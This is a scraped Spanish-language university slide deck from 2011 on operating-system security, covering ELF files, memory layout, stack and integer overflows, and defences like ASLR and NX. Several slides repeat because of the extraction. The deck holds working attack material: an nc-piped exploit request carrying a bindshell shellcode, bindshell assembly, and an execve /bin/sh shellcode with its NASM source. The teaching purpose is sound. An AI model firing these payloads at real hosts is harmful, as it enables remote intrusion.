trabajotecologiaisabella-240424003133-8f126965.pdftrabajotecologiaisabella-240424003133-8f126965.pdf
trabajotecologiaisabella-240424003133-8f126965.pdf
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
Hernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptxHernandez_Hernandez_Practica web de la sesion 12.pptx
Hernandez_Hernandez_Practica web de la sesion 12.pptx
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 

Seguridad so pi_2011

  • 1. Seguridad en Sistemas Operativos Ataque y Defensa Jacobo Avariento Gimeno jacobo@sofistic.net 15 de junio de 2011 Universitat Jaume I
  • 2.
  • 3. 1 Intro 2 Breve repaso al S.O. GNU/Linux Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on 3 Ataques a ficheros ejecutables Llamadas al sistema Accediendo a la memoria 4 Desbordamientos de pila Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa 5 Desbordamientos de enteros 6 Seguridad f´ısica
  • 4. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Vulnerabilidad, Exploit, POC echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6 %31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3 %01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04 %31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66 %b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31 %c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8 %23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76 %08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db %cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC %77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn Host: $hostrnrn" | nc $host 80 Source: http://ciberjacobo.com/sec/mod rewrite.html Jacobo Avariento Seguridad en Sistemas Operativos
  • 5. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Code .section .text .globl _start _start: mov %esp,%esi xorl %eax,%eax xorl %ebx,%ebx movl %esi,%ecx Code cont’d movl %eax,(%esi) movb $0x2,%al movw %ax,0xc(%esi) movb $0x77,%al # 0x77 = port 30464 movw %ax,0xe(%esi) leal 0xc(%esi),%eax movl %eax,0x4(%esi) xorl %eax,%eax movl %eax,0x10(%esi) movb $0x10,%al movl %eax,0x8(%esi) movb $0x66,%al movb $0x2,%bl int $0x80 movb $0x1,%al movl %eax,0x4(%esi) movb $0x66,%al movb $0x4,%bl int $0x80 xorl %eax,%eax movl %eax,0x4(%esi) movl %eax,0x8(%esi) movb $0x66,%al movb $0x5,%bl int $0x80 movb %al,%bl movb $0x3f,%al xorl %ecx,%ecxJacobo Avariento Seguridad en Sistemas Operativos
  • 6. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 7. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 8. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 9. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 10. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 11. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Disclosure timeline & jargon 1 Eureka! 2 Notificar + POC 3 Solucionar, release patch, actualizar 4 Publicar vulnerabilidad/exploit/POC (bugtraq) Cuando NO: 0-day / exploit-in-the-wild Jacobo Avariento Seguridad en Sistemas Operativos
  • 12. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Breve repaso al S.O. GNU/Linux Jacobo Avariento Seguridad en Sistemas Operativos
  • 13. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 14. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 15. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 16. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Intro Proceso: Programa en memoria Programas en GNU/Linux: Formato ELF ELF: Executable and Linking Format Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc -shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc -o), . . . Jacobo Avariento Seguridad en Sistemas Operativos
  • 17. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 18. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 19. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Secciones de un fichero ELF .text: C´odigo m´aquina .rel.text: “Relocated Text“ .data: Variables globales inicializadas .bss: Variables globales no inicializadas (“Block started by Symbol”) .rodata: Datos de solo lectura, por ej.: cadenas, constantes. . . .interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el enlazador din´amico (“dynamic loader”) .plt: Tabla con las direcciones a las funciones de una librer´ıa din´amica .got: (“Global Offset Table“) Punteros a las variables globales Jacobo Avariento Seguridad en Sistemas Operativos
  • 20. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 21. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 22. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Herramientas de an´alisis $ /usr/bin/readelf -S programa Muestra las secciones Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1 ... $ /usr/sbin/readelf -r programa Muestra la GOT $ cat /proc/< PID >/maps 08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash 080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash 080ce000-080d4000 rwxp 080ce000 00:00 0 087be000-08821000 rwxp 087be000 00:00 0 [heap] ... Jacobo Avariento Seguridad en Sistemas Operativos
  • 23. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Permisos en ficheros $ ls -la /bin/bash -rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash Opciones: r: read w: write x: eXecution t: sTicky bit s: Setuid Jacobo Avariento Seguridad en Sistemas Operativos
  • 24. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Permisos en ficheros $ ls -la /bin/bash -rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash Opciones: r: read w: write x: eXecution t: sTicky bit s: Setuid Jacobo Avariento Seguridad en Sistemas Operativos
  • 25. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Privilegios de ejecuci´on RUID: “Real User ID“. getuid() EUID: “Effective User ID“. geteuid() -rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping Jacobo Avariento Seguridad en Sistemas Operativos
  • 26. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Espacio de Memoria Virtual de un proceso Jacobo Avariento Seguridad en Sistemas Operativos
  • 27. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 28. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Disposici´on de la pila (“Stack Layout“) Jacobo Avariento Seguridad en Sistemas Operativos
  • 29. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Jacobo Avariento Seguridad en Sistemas Operativos
  • 30. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Bloque de activaci´on de la subrutina C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> C´odigo ensamblador (“Callee“) 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 04 sub $0x4,%esp Jacobo Avariento Seguridad en Sistemas Operativos
  • 31. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Bloque de activaci´on de la subrutina C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> C´odigo ensamblador (“Callee“) 55 push %ebp 89 e5 mov %esp,%ebp 83 ec 04 sub $0x4,%esp Jacobo Avariento Seguridad en Sistemas Operativos
  • 32. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Procesos Ficheros ELF Permisos y privilegios Memoria Virtual Rutina de llamada a funci´on Devolviendo el control al programa... C´odigo ensamblador (”Caller”) e8 e0 fe ff ff call 8048350 <printf@plt> c9 leave c3 ret Jacobo Avariento Seguridad en Sistemas Operativos
  • 33. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Ataques a ficheros ejecutables Jacobo Avariento Seguridad en Sistemas Operativos
  • 34. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Interceptando llamadas al sistema ltrace Intercepta llamadas a librer´ıas din´amicas ejecutadas por el proceso $ ltrace -e open ./syscall hijacking open("/tmp/pass", 0, 026773603300) = -1 +++ exited (status 0) +++ strace Intercepta llamadas del sistema y se˜nales de un proceso $ strace -e trace=open ./syscall hijacking open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory) Jacobo Avariento Seguridad en Sistemas Operativos
  • 35. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Interceptando llamadas al sistema ltrace Intercepta llamadas a librer´ıas din´amicas ejecutadas por el proceso $ ltrace -e open ./syscall hijacking open("/tmp/pass", 0, 026773603300) = -1 +++ exited (status 0) +++ strace Intercepta llamadas del sistema y se˜nales de un proceso $ strace -e trace=open ./syscall hijacking open("/etc/ld.so.cache", O_RDONLY) = 3 open("/lib/libc.so.6", O_RDONLY) = 3 open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory) Jacobo Avariento Seguridad en Sistemas Operativos
  • 36. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 37. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 38. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Cualquiera puede acceder a ella (ej.: Xing DVD Player) No debe contener contrase˜nas, llaves, ni material sensible Muy f´acil de interceptar, por ejemplo, con strings o gdb Jacobo Avariento Seguridad en Sistemas Operativos
  • 39. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Ejemplo (Fichero get pass.c) char pass[]= "XXXXXXX"; int main () { exit(0); } Ataque $ strings ./get pass /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit __libc_start_main GLIBC_2.0 PTRh [^_] password ultra secreto Jacobo Avariento Seguridad en Sistemas Operativos
  • 40. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria La memoria es insegura Ejemplo (Fichero get pass.c) char pass[]= "XXXXXXX"; int main () { exit(0); } Ataque $ strings ./get pass /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used exit __libc_start_main GLIBC_2.0 PTRh [^_] password ultra secreto Jacobo Avariento Seguridad en Sistemas Operativos
  • 41. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 42. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 43. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 44. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Llamadas al sistema Accediendo a la memoria Defensa contra estos ataques Guardar la cadena de caracteres como: char cad[]= {’h’,’o’,’l’,’a’,’0’} Mezclar varias cadenas para obtener la cadena objetivo: char cad[] = ["pepito", "casita", "baston", "tris"]; /* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]); /* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...); Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando bien la contrase˜na, . . . GNU/Linux: mlock() / mprotect() Jacobo Avariento Seguridad en Sistemas Operativos
  • 45. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Desbordamientos de pila ”Stack Overflow“ Jacobo Avariento Seguridad en Sistemas Operativos
  • 46. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Programa vulnerable Fichero bufo2.c void func(char *nom) { char nombre[128]; strcpy(nombre, nom); printf("Hola %sn", nombre); printf("%Xn", &nombre); } int main(int argc, char* argv[]) { func(argv[1]); exit(0); } Demo $ ./bufo2 $(perl -e ”print ’A’ x 8196”) Segmentation fault (core dumped) Jacobo Avariento Seguridad en Sistemas Operativos
  • 47. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Programa vulnerable Fichero bufo2.c void func(char *nom) { char nombre[128]; strcpy(nombre, nom); printf("Hola %sn", nombre); printf("%Xn", &nombre); } int main(int argc, char* argv[]) { func(argv[1]); exit(0); } Demo $ ./bufo2 $(perl -e ”print ’A’ x 8196”) Segmentation fault (core dumped) Jacobo Avariento Seguridad en Sistemas Operativos
  • 48. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Por qu´e da ”Segmentation Fault”? Jacobo Avariento Seguridad en Sistemas Operativos
  • 49. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte I: Aprovecharse de la vulnerabilidad Jacobo Avariento Seguridad en Sistemas Operativos
  • 50. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 51. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 52. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash Explotaci´on local Shellcode: Ejecuta una shell Explotaci´on remota Bindshell Explotaci´on remota Reverse shell Jacobo Avariento Seguridad en Sistemas Operativos
  • 53. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Parte II: Shellcodes /* shell sh spawner without placeholders by jack */ char shellcode2[] = "xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c" "xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff" "xffx2fx62x69x6ex2fx73x68"; Jacobo Avariento Seguridad en Sistemas Operativos
  • 54. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa ; nasm -f elf execve2.asm ; execve(const char *path, char *const argv[], char *const envp[]); section .text global _start _start: jmp short GotoCall shellcode: pop esi xor eax,eax mov byte [esi + 7], al ; J = 0x0 lea ebx, [esi] ; ebx = &’/bin/sh’ mov long [esi + 8], ebx ; AAAA = dir de /bin/sh mov long [esi + 12], eax ; KKKK = 0x0000 mov byte al, 0x0b ; sys_execve syscall #11 mov ebx, esi ; argv1 lea ecx, [esi + 8] ; argv2 lea edx, [esi + 12] ; argv3 int 0x80 GotoCall: call shellcode db ’/bin/shJAAAAKKKK’ Jacobo Avariento Seguridad en Sistemas Operativos
  • 55. Temario Intro Breve repaso al S.O. GNU/Linux Ataques a ficheros ejecutables Desbordamientos de pila Desbordamientos de enteros Seguridad f´ısica Introducci´on Entendiendo la t´ecnica Explotando la t´ecnica Defensa Intro a la defensa: Tipos Soportados por el S.O.: Antes: Direcciones virtuales fijas en tiempo de compilaci´on Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente Soportadas en compiladores: Para Visual C++ en Windows: /GS, /SafeSEH Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1: -fstack-protector-all) Soportadas por el HW + S.O.: No eXecute (NX) Jacobo Avariento Seguridad en Sistemas Operativos
